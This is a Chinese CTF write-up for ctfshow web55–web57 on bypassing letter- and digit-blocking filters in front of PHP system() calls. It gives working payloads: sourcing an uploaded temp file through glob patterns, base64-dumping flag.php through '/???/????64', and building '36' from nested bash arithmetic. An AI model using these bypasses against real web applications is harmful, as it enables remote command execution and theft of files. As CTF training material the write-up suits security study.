ctfshow之web55~web57(无字母的rce)
目录
web55
思路一:
思路二:
web56
web57
本系列主要针对无字母rce或无字母无数字rce
声明:本章内容是引荐几位师傅的博客,然后根据自己的理解编写而成。
web55
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这里将a-z的字符都过滤掉了,这里考察的就是无字母的rce
但啥是无字母的rce呢?
php的代码执行简称RCE
RCE是Remote Command Exec(远程命令执行)和Remote Code Exec(远程代码执行)的缩写;Command指的是操作系统的命令,code指的是脚本语言(php)的代码
那么无字母想必不用过多解释了
首先这里引荐p神的blog:无字母数字webshell之提高篇 | 离别歌
构造无字母数字的rce。其中有两个主要的思路:
- 利用位运算
- 利用自增运算符
第一种方法和web41类似,但web41是eval()函数输出,而这里是执行system()命令所以第一种方法用不了
第二种方法是自增运算,这种方法要用到$去构造数字,但这里我们知道flag藏在文件flag.php里面,也用不了
操作系统里包含的最重要的两个功能就是“shell”和“文件系统”,很多木马与远控其实也只实现了这两个功能。
思路一:
在linux shell知识里面,可以用.来执行任意脚本,.或者叫period,作用和source一样,用来执行一个文件中的命令,比如,当前的shell是bash,那么.file就是用bash执行file文件中的命令
那执行的文件从哪里来呢?因此我们可以上传文件的POST包(一般php的题目都可以上传这种文件),该文件会保存在临时文件夹下,默认的目录结构是/tmp/phpXXXXXX,最后的六个字符是随机的。
但是该目录也包含字符,于是我们想到linux下的glob通配符:*/?
于是/tmp/phpXXXXXX可以写成/???/?????????
但是在Linux中这样的文件目录有很多,但都有一个共同点,都是小写字符,而只有php生成的临时文件包含大写字母,于是只要找到一个可以包含大写字母的glob通配符即可
发现所有大写字母都在@-[之间,执行ls /???/??????[@-[],这种尝试最后一个字符是大写的,如果错误,还可以尝试其他字符是大写,多尝试几次即可
POST上传包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
我们上传的时候可以随便上传一个文件就行
抓包得到的上传结果
用.执行shell命令:?c=.%20/???/????????[@-[]
直接假设最后一个字符是大写的
正常是用source [filename]或者. [filename]
%20表示空格,一般空格在urlencode中被写成%20或者+
补充:假设我这里直接写空格,而不是进行url编码(写成%20),就不会出来flag,因为在urldecode过程中,遇到空格,空格后面的内容就不再执行了,因为他会默认空格就是结束的标识,就像你写url内容的时候,它在urldecode过程中,如何判断结束呢,就是根据是否遇到空格,但遇到%20,它知道后面还有url的部分,就会先解码成空格,然后再解码后面的部分
这里解释下shell(sh)和/bin/sh的关系,因为自己也是初学者(小趴菜)
Shell(简称sh)是一种命令行解释器(类似windows下的命令行),是用户与操作系统之间的接口,它接收用户输入的命令并调用相应的程序来执行。在Linux系统中,Shell是非常重要的,因为几乎所有的系统管理任务都可以通过Shell来完成。
/bin/sh这个路径中的sh文件可以理解为一个小型程序,它可以解释用户输入的命令并执行相应的操作。在Linux系统中,使用bin sh命令可以启动Shell解释器,让用户可以通过命令行来与系统进行交互。
#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径。如果脚本中没有声明,则脚本将在用户默认的shell中执行。用户默认的shell环境是在/etc/passwd中定义:比如passwd文件第一行中 root:x:0:0:root:/root:/bin/bash,最后的/bin/bash说明root用户的默认shell是/bin/bash。虽然#! /bin/sh 可有可无,所以建议就把"#!/bin/sh"当成C 语言的main函数一样,写shell必须有,以使shell程序更严密。
找到了文件flag.php
执行cat命令
思路二:
除了通过POST上传文件,执行文件里面的命令外,那linux中那么多sh命令,还有没有我们可以使用的呢?答案是肯定的
/bin/base64命令
/bin/base64的主要作用是对数据进行Base64编码或解码
使用方法:/bin/base64 filename
这个命令会将filename文件的内容进行Base64编码,并将结果输出
因为不能出现字母,所以
payload:?c=/???/????64 ????.???
因为这里有64,所以不会匹配到其他命令
就将flag.php里的内容进行base64编码后输出
web56
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
比上一个题多过滤了数字,所以第二种思路pass,但第一种思路还是可以用的,这里不做过多赘述了;
web57
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
这里已经给出了提示:flag in 36.php
system()函数内还给出了cat和.php后缀,其实我们只需要构造出来36就可以
在上面的web55中,我们给出主要解决无字母rce的一种方法就是利用自增运算符
而这里恰好没有把$给过滤掉,其目的也显而易见
在linux中
$(())=0
$((~ $(()) ))=-1
这里演示下如何生成1
$(())
//0
$((~$(())
//-1
$((~$(())))$((~$(())))
//-1-1
$(($((~$(())))$((~$(())))))
//-2
$((~$(($((~$(())))$((~$(())))))))
//1
这样一直重复嵌套就可以先得到-37,-37就是用37个$((~$(())))串在一起,然后在外面加一层$(())就可以得到
在对其取反,加一层$(())就可以得到36
生成的payload:
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
注意:这里cat得到的flag藏在源码中